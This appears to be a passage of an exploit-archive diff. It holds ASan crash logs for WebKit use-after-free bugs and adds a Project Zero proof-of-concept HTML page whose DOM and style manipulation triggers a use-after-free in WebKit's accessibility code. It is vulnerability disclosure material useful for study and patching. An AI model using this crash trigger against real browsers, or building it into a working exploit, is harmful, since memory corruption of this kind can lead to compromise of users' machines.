#40 0x116509c41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#41 0x1066932eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#42 0x106696689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#43 0x106695ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#44 0x105f36683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#45 0x105ce03b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#46 0x105ce9888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
#47 0x10d9dc3b3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c033b3)
|
||||||
|
#48 0x10d9dcd41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41)
|
||||||
|
#49 0x7fffd2f753c0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa73c0)
|
||||||
|
#50 0x7fffd2f562cc in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x882cc)
|
||||||
|
#51 0x7fffd2f557c5 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x877c5)
|
||||||
|
#52 0x7fffd2f551c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3)
|
||||||
|
#53 0x7fffd24b6ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#54 0x7fffd24b6cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#55 0x7fffd24b6b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#56 0x7fffd0a51e23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#57 0x7fffd11cd85d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#58 0x7fffd0a467aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#59 0x7fffd0a111dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#60 0x7fffe89118c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#61 0x7fffe89102e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#62 0x105bee56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#63 0x7fffe86b8234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x6110000e2a88 is located 8 bytes inside of 208-byte region [0x6110000e2a80,0x6110000e2b50)
|
||||||
|
freed by thread T0 here:
|
||||||
|
#0 0x108bd9294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
|
||||||
|
#1 0x10da23f30 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c4af30)
|
||||||
|
#2 0x114660e6d in WebCore::HTMLInputElement::updateType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd52e6d)
|
||||||
|
#3 0x114662265 in WebCore::HTMLInputElement::parseAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd54265)
|
||||||
|
#4 0x114226fe8 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x918fe8)
|
||||||
|
#5 0x114235231 in WebCore::Element::didModifyAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x927231)
|
||||||
|
#6 0x114226a83 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x918a83)
|
||||||
|
#7 0x11501b946 in WebCore::setJSHTMLInputElementTypeFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x170d946)
|
||||||
|
#8 0x115011fc7 in bool WebCore::BindingCaller<WebCore::JSHTMLInputElement>::setAttribute<&(WebCore::setJSHTMLInputElementTypeFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1703fc7)
|
||||||
|
#9 0x10c674bf8 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x89bbf8)
|
||||||
|
#10 0x10c674d27 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x89bd27)
|
||||||
|
#11 0x10d14e2a9 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x13752a9)
|
||||||
|
#12 0x10d32ffa1 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1556fa1)
|
||||||
|
#13 0x10d34cce3 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1573ce3)
|
||||||
|
#14 0x10d3502d8 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15772d8)
|
||||||
|
#15 0x10d34991a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#16 0x10cfae757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#17 0x10cf303da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#18 0x10c5680f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#19 0x10c568362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
#20 0x10c5686d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#21 0x114b01a15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
#22 0x114e95510 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1587510)
|
||||||
|
#23 0x11429668e in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98868e)
|
||||||
|
#24 0x114296170 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x988170)
|
||||||
|
#25 0x11425dd77 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94fd77)
|
||||||
|
#26 0x11425edbe in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x950dbe)
|
||||||
|
#27 0x11425e733 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x950733)
|
||||||
|
#28 0x1146664bc in WebCore::HTMLInputElement::onSearch() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd584bc)
|
||||||
|
#29 0x11627979c in WebCore::SearchInputType::startSearchEventTimer() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x296b79c)
|
||||||
|
|
||||||
|
previously allocated by thread T0 here:
|
||||||
|
#0 0x108bd8d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffe883a281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x10da2dae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x10da22c4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x10d9b8437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x10d9b7768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x114901b48 in WebCore::InputType::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xff3b48)
|
||||||
|
#7 0x114901759 in std::__1::unique_ptr<WebCore::InputType, std::__1::default_delete<WebCore::InputType> > WebCore::createInputType<WebCore::SearchInputType>(WebCore::HTMLInputElement&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xff3759)
|
||||||
|
#8 0x1148fc15c in WebCore::InputType::create(WebCore::HTMLInputElement&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfee15c)
|
||||||
|
#9 0x114660be3 in WebCore::HTMLInputElement::updateType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd52be3)
|
||||||
|
#10 0x114662265 in WebCore::HTMLInputElement::parseAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd54265)
|
||||||
|
#11 0x114226fe8 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x918fe8)
|
||||||
|
#12 0x114235231 in WebCore::Element::didModifyAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x927231)
|
||||||
|
#13 0x114226a83 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x918a83)
|
||||||
|
#14 0x11501b946 in WebCore::setJSHTMLInputElementTypeFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x170d946)
|
||||||
|
#15 0x115011fc7 in bool WebCore::BindingCaller<WebCore::JSHTMLInputElement>::setAttribute<&(WebCore::setJSHTMLInputElementTypeFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1703fc7)
|
||||||
|
#16 0x10c674bf8 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x89bbf8)
|
||||||
|
#17 0x10c674d27 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x89bd27)
|
||||||
|
#18 0x10d14e2a9 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x13752a9)
|
||||||
|
#19 0x10d32ffa1 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1556fa1)
|
||||||
|
#20 0x10d34cce3 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1573ce3)
|
||||||
|
#21 0x10d35034a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#22 0x10d34991a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#23 0x10cfae757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#24 0x10cf303da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#25 0x10c5680f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#26 0x10c568362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
#27 0x10c5686d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#28 0x114b01a15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
#29 0x114e95510 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1587510)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20a2da) in WebCore::InputType::element() const
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c220001c500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c220001c510: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
|
||||||
|
0x1c220001c520: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||||
|
0x1c220001c530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c220001c540: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||||
|
=>0x1c220001c550: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c220001c560: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
|
||||||
|
0x1c220001c570: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||||
|
0x1c220001c580: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c220001c590: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||||
|
0x1c220001c5a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fc
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==29786==ABORTING
|
||||||
|
-->
|
||||||
187
platforms/multiple/dos/42365.html
Executable file
187
platforms/multiple/dos/42365.html
Executable file
|
|
@ -0,0 +1,187 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1246
|
||||||
|
|
||||||
|
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<style>
|
||||||
|
#link { text-transform: lowercase; }
|
||||||
|
link::first-letter { border-spacing: 1em; }
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
function go() {
|
||||||
|
dt.appendChild(link);
|
||||||
|
var s = link.style;
|
||||||
|
s.setProperty("display", "table-column-group");
|
||||||
|
s.setProperty("-webkit-appearance", "menulist-button");
|
||||||
|
}
|
||||||
|
function eventhandler() {
|
||||||
|
dir.setAttribute("aria-labeledby", "meta");
|
||||||
|
link.appendChild(table.rows[0]);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<body onload=go()>
|
||||||
|
<link id="link">
|
||||||
|
<meta id="meta">
|
||||||
|
<dir id="dir">
|
||||||
|
<table id="table">
|
||||||
|
<th>1</th>
|
||||||
|
<dt id="dt">
|
||||||
|
<iframe onload="eventhandler()"></iframe>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==30692==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000090ac8 at pc 0x00010841ba26 bp 0x7fff5ca8ea60 sp 0x7fff5ca8ea58
|
||||||
|
READ of size 4 at 0x608000090ac8 thread T0
|
||||||
|
==30692==WARNING: invalid path to external symbolizer!
|
||||||
|
==30692==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x10841ba25 in WebCore::RenderObject::RenderObjectBitfields::hasLayer() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x6aa25)
|
||||||
|
#1 0x10a8983fe in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x24e73fe)
|
||||||
|
#2 0x10ab7d6ec in WebCore::createTextRenderer(WebCore::Text&, WebCore::RenderTreePosition&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cc6ec)
|
||||||
|
#3 0x10ab7b057 in WebCore::RenderTreeUpdater::updateTextRenderer(WebCore::Text&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27ca057)
|
||||||
|
#4 0x10ab7abfa in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c9bfa)
|
||||||
|
#5 0x10ab7a47b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c947b)
|
||||||
|
#6 0x108b1f7e9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76e7e9)
|
||||||
|
#7 0x108b20287 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f287)
|
||||||
|
#8 0x108ec59ce in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb149ce)
|
||||||
|
#9 0x108ec2d0c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb11d0c)
|
||||||
|
#10 0x108b3e493 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d493)
|
||||||
|
#11 0x1090b25c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0)
|
||||||
|
#12 0x108bdd093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093)
|
||||||
|
#13 0x108b9c386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#14 0x10862b997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#15 0x1086252aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#16 0x10afacc41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#17 0x105ec22eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
